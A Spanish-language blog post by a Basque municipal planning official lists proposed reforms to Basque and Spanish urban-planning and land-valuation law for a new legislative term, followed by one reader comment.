Propuestas para el nuevo periodo legislativo

Ideas normativas de cara al nuevo curso.

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<p style=El verano se nos va y arranca un nuevo periodo legislativo en Euskadi y por ello nos ha parecido interesante enumerar las iniciativas normativas que podrían (¿deberían?) ser abordadas con el objeto de mejorar las herramientas para la acción urbanística con las que tenemos que afrontar el trabajo diario. Aprovechamos para incluir en la lista desarrollos normativos estatales, pues si bien el inicio de  la legislatura no es tan reciente, lo cierto es que su arranque atípico también nos sitúa en el principio del arranque efectivo de la legislatura del Paramento español.

Cada una de las propuestas corresponde a distintas esferas de acción normativa, pero no por ello consideramos que deben ser orilladas, máxime cuando quedan tantos planes generales por tramitar y ejecutar en el nuevo escenario que establecieron tanto la LS07, la L3R, la LEA y numerosas sentencias del TC y del TS.

Vamos allá.

  1. TRLSR y Reglamento de Valoraciones
    • Valoración de la indemnización de la facultad de participar (como sabemos desde la (STC 218/2015) no hay modo de calcular el valor de esta indemnización (pese a esa sentencias del TSJCM STSJ CLM 1745/2016 y STSJ CLM 1747/2016 confirmadas de aquella manera por el Tribunal Supremo en la STS 726/2018 y la STS 3968/2017). Por ello y porque han pasado 5 años, parece del todo necesario que el legislador tome cartas en el asunto y establezca qué es aquello del valor real del suelo sin expectativas en suelo en actuación de nueva urbanización expropiado o con condiciones de inicio.
    • Valoración del suelo en situación básica rural (tipos de capitalización, RVal 12.1.b y el Anexo I que irradian sus efectos a los RVal 13, 14.a y 15.b por incluir en sus formulaciones el tipo de capitalización r2): si la ausencia de valoración de la indemnización de la facultad deja coja la valoración del suelo rural sujeto a actuaciones de nueva urbanización, la reciente STS 1747/2020 ha asestado otra dentellada a las valoraciones en suelo rural, por lo que será el gobierno quien deba afrontar la tarea de definir una nueva vía que equilibre la objetividad y la justicia en este tipo de valoraciones.
  2. LvSU, DMU y DEU
    • Incorporación del concepto de sostenibilidad integrada por encima del resto de objetivos y determinaciones de planeamiento. Más allá del uso del principio del desarrollo sostenible (LvSU EMM II y III y tos sobre las Haciendas Públicas (to es, introducir la variable del tiempo, la variable de las consecuencias tras la finalización de las actuaciones, evitando la mirada miope o cortoplacista de los planes vinculados a la recepción de las urbanizaciones y del otorgamiento de las licencias de primera ocupación.
    • Revisión de la Ley 2/2006 para abandonar el modelo urbanístico basado en la clasificación como configurador del haz de derechos y obligaciones. Han pasado 14 años desde la promulgación de nuestra ley urbanística y a pesar de la supuesta adaptación a la LS07 (que vendría tan solo un año después), la verdad es que la LvSU necesita un cambio diametral y sustantivo para adaptarse y deshacerse de sus disfunciones manifiestas. Ya lo dice el Tribunal Supremo en el FJ 7 de la muy reciente STS 598/2020: “-Según la nueva regulación, las obligaciones de los propietarios no van a venir ya determinadas por la categorización del suelo (consolidado o no consolidado), sino por el tipo de actuación de transformación urbanística que se vaya a acometer sobre el mismo, dado que la legislación urbanística ya no tiene como finalidad esencial la formación de un nuevo tejido urbano sobre la base de una progresiva ejecución de distintas actuaciones a realizar sobre el suelo…
    • Habilitar la configuración de actuaciones que no precisen incrementos de edificabilidad, aunque si beneficios, a la vez que aúnan el cumplimiento del derecho de propiedad para atender las necesidades integrales. Tanto la LvSU como todas las leyes del modelo clásico LS56-LRSV98 se basan en la apropiación de la edificabilidad y en la limitación de las cargas y costes. Sin embargo, el modelo básico a partir de la LS07 y posteriormente a partir de la L3R se basa en el régimen estatutario, en la definición de actuaciones con deberes incluso de carácter integral, donde es más que probable que los incrementos de edificabilidad sean escasos o hasta nulos; sin embargo, eso no significa que no haya plusvalías. Es necesario que el planeamiento se habrá a esta nueva realidad y su integración normativa.
    • Flexibilizar o incluso suprimir la regulación de los estándares en la ciudad existente, para ser sustituidos por un análisis particular que justifique su idoneidad y necesidad. Cuando se dictó el Decreto de Estándares Urbanísticos (to 123/2012) no fueron pocos los que aplaudieron con las orejas, puesto que venía a aportar “objetividad y seguridad jurídica” reglamentaria. Sin embargo, el paso de los años ha demostrado que no ha resultado más que un corsé constrictor de la acción urbana, con una incapacidad cuasi plena de adaptarse a las distintas realidades de los tejidos urbano que, desde luego, son más poliédricos que el reglamento. Estamos ante el reto de la intervención en la ciudad existente sin necesidad de incrementos de edificabilidad, sin reglas matemáticas de diseño, pero sin que ello implique la exoneración de cargas o caer en la arbitrariedad, sino todo lo contrario, con la necesidad de realizar análisis rigurosos y justificación suficiente de las necesidades y su sostenibilidad.
    • La diferenciación entre sistemas locales y generales. La derogación parcial del STC 94/2014 impide la adscripción de sistemas generales al suelo urbano mientras no se adapte la LvSU a la legislación estatal actualmente vigente y pone de manifiesto el error de mantener la artificiosa diferencia entre sistemas generales y locales. Aunque el TSJPV ha venido a salvar con alfileres la adscripción de sistemas generales al suelo urbano, es necesario renovar la regulación de las dotaciones a la legislación estatal que, con total acierto, ha superado la distinción entre sistemas locales y generales.
  3. LViv, DVPO y DITE
  4. LEA, L3/98, DEAE y D46/2020
  5. L12/12, LvSU y L3/98
    • Clarificación de los intervenciones sometidos a licencia urbanística y cuales a Comunicación Previa o Declaración Responsable, tanto en obras como en actividades en arreglo a la regulación básica. En la actualidad sobreviven de manera duplicada, ambigua o confusa los regímenes de control a priori y a posteriori tanto de obras como de actividades fruto de la asincronía del art. 207 LvSU y los artículos 55 a 66 de la L3/98 con las determinaciones de la LPAC, de la Directiva de Servicios y especialmente lo establecido en los artículos 3 y 4 de la Ley 12/2012 (y sus modificaciones posteriores). Sintéticamente, urge acometer el procedimiento liberalizador y armonizador, adaptándonos definitivamente al modelo de intervención administrativa de la regulación básica y de responsabilidad ciudadana ¿diferente?

Bueno, como todas las listas, esta es una recopilación abierta a la que tod@s seguro que podemos contribuir.

Esperemos que esta sea una legislatura fructífera.

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Natxo Tejerina

Licenciado en Derecho (Deusto, 1979). Abogado (Bilbao, 1980-1991), Profesor en los cursos de urbanismo del IVAP (1995-2020). Funcionario en diversos ayuntamientos desde 1991, actualmente en Urbanismo del Ayuntamiento de Barakaldo en periodo sabático.

Un pensamiento en “Propuestas para el nuevo periodo legislativo

  1. José Luis Azkarate

    Desde la cautela de alguien que no es pendenciero y que hace mucho que no está en los “fregaos” diarios de la gestión urbanística…
    Creo que a la enumeración de temas pendientes que hace Natxo, le puede venir bien una idea estructurante, que ayude a explicar la necesidad de revisar la legislación y normativa que señala. Una idea que ayude a explicar el por qué es necesario.
    También y desde una visión de activista urbano, creo que no nos debería costar imaginar incrementos de edificabilidad en los tejidos urbanos consolidados. Para añadir en donde se pueda: terrazas vivideras, ascensores, trasteros o incluso nuevas plantas. Sin obsesionarnos con la plusvalía necesariamente. Pensando que un urbanismo a la medida de una manzana y de sus vecinos, puede ser el mejor incentivador de los procesos de rehabilitación, en las cantidades que va a hacer falta en las ciudades del País.

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